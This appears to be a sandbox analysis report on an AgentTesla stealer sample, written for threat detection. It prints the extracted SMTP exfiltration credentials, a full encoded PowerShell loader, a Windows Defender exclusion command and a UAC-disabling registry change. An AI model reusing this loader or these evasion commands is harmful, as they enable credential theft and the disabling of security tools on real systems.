agenttesla | 75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
19/05/2024, 01:28

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General

Target
75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe
Size 1.0MB
Sample240519-bvyn2sbb8z
SHA256 75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3
MD5 707ff5d813d814fa2989bd8a4664258f
SHA1 393439231f83ecbe9aa6a81e74b460e7b7f217a5
SHA512 34565d6f74de5f97045afe56aa1d612dc11f02b374a37ae769439984c0a04ecfd748813c081445336d63eaca3eba9a9250d618cdc7b0fa153612faf1187ab3e8
SSDEEP 24576:8RUNoVV7+21VERgf/UWgQwoM4tKFMkzl/5A9:8Wqr7++SWf/UW3wNrFzzla9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla evasion execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.oxatis.com
Port
587
Username
[email protected]
Password
Sog1952
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe = "0"	powershell.exe

Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables packed with or use KoiVM 1 IoCs

resource	yara_rule
behavioral2/memory/2896-16-0x0000019D46870000-0x0000019D46904000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
3500	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2896 set thread context of 2724	2896	powershell.exe	101

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
2724	jsc.exe
2724	jsc.exe
2724	jsc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	2724	jsc.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3192 wrote to memory of 2896	3192	75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe	97
PID 3192 wrote to memory of 2896	3192	75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe	97
PID 2896 wrote to memory of 3500	2896	powershell.exe	99
PID 2896 wrote to memory of 3500	2896	powershell.exe	99
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2724	2896	powershell.exe	101
PID 2896 wrote to memory of 2152	2896	powershell.exe	102
PID 2896 wrote to memory of 2152	2896	powershell.exe	102
PID 2896 wrote to memory of 2152	2896	powershell.exe	102

C:\Users\Admin\AppData\Local\Temp\75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe
"C:\Users\Admin\AppData\Local\Temp\75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcARAAsACAAMAB4ADkANQAsACAAMAB4ADUAQQAsACAAMAB4ADMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARgAsACAAMAB4ADIAMQAsACAAMAB4ADkAQwAsACAAMAB4ADEAQwAsACAAMAB4AEYANQAsACAAMAB4ADcARQAsACAAMAB4AEEAMwAsACAAMAB4AEYANAAsACAAMAB4ADQARgAsACAAMAB4ADYAOAAsACAAMAB4AEYAMQAsACAAMAB4ADkANgAsACAAMAB4ADkAMQAsACAAMAB4AEEARAAsACAAMAB4AEUARgAsACAAMAB4AEMAMgAsACAAMAB4AEMAOAAsACAAMAB4AEUAMwAsACAAMAB4AEEANwAsACAAMAB4ADcAQgAsACAAMAB4ADgAMQAsACAAMAB4AEYAQgAsACAAMAB4ADIAOQAsACAAMAB4AEQAOAAsACAAMAB4AEQANAAsACAAMAB4ADMAMAAsACAAMAB4ADIAMAApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyADYALAAgADAAeAAzAEEALAAgADAAeAA0AEIALAAgADAAeAA0ADEALAAgADAAeABGADUALAAgADAAeABGADkALAAgADAAeABEADgALAAgADAAeABDADUALAAgADAAeAA5AEUALAAgADAAeAA4ADEALAAgADAAeAA1AEYALAAgADAAeABEAEEALAAgADAAeAA1ADQALAAgADAAeAA2ADgALAAgADAAeABFADQALAAgADAAeABBADEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - UAC bypass
  - Windows security bypass
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
    3⤵
    PID:2152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ioddrklv.b1b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ioddrklv.b1b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-18825.putik

Path C:\Users\Admin\AppData\Local\Temp\file-18825.putik
Size 34KB
SHA256 1a94e878b6ade60c90adb0c4eeaa20ea887fbf58d4bb5ea578e488c1ddaf25cc
MD5 c1b8f3a7fc5ee0d440c0d8e2007e5951
SHA1 2387f4cf70f0006f1b53464cd255076607c626a7
SHA512 dfb37a6bbd75c7460e1df5de0e2c5b1e928c563344245f78e988174186518255ae7ec32bf77742b313e468687dcea57ef5bcd3ad80347826a42ba837c61acc16
SSDEEP 768:7PZL9YDDRxkOxlGcg0rZ4eMhw8YfIg9RCUToiIe6l0+Y:7fYDDTPTFg0rZihw8kQZiItl0+Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2724-29-0x0000000005800000-0x0000000005DA4000-memory.dmp

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memory/2724-38-0x00000000062E0000-0x000000000637C000-memory.dmp

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memory/2724-37-0x00000000061F0000-0x0000000006240000-memory.dmp

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memory/2724-39-0x00000000067A0000-0x0000000006832000-memory.dmp

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memory/2724-32-0x00000000052C0000-0x0000000005326000-memory.dmp

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memory/2724-31-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

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memory/2724-17-0x0000000000400000-0x0000000000440000-memory.dmp

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memory/2724-41-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

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memory/2724-40-0x0000000006760000-0x000000000676A000-memory.dmp

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memory/2896-1-0x00007FFB59A13000-0x00007FFB59A15000-memory.dmp

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memory/2896-12-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/2896-16-0x0000019D46870000-0x0000019D46904000-memory.dmp

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memory/2896-15-0x0000019D2C0B0000-0x0000019D2C0BC000-memory.dmp

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memory/2896-11-0x0000019D46460000-0x0000019D46482000-memory.dmp

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memory/2896-36-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/2896-13-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/3500-28-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/3500-35-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/3500-30-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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memory/3500-27-0x00007FFB59A10000-0x00007FFB5A4D1000-memory.dmp

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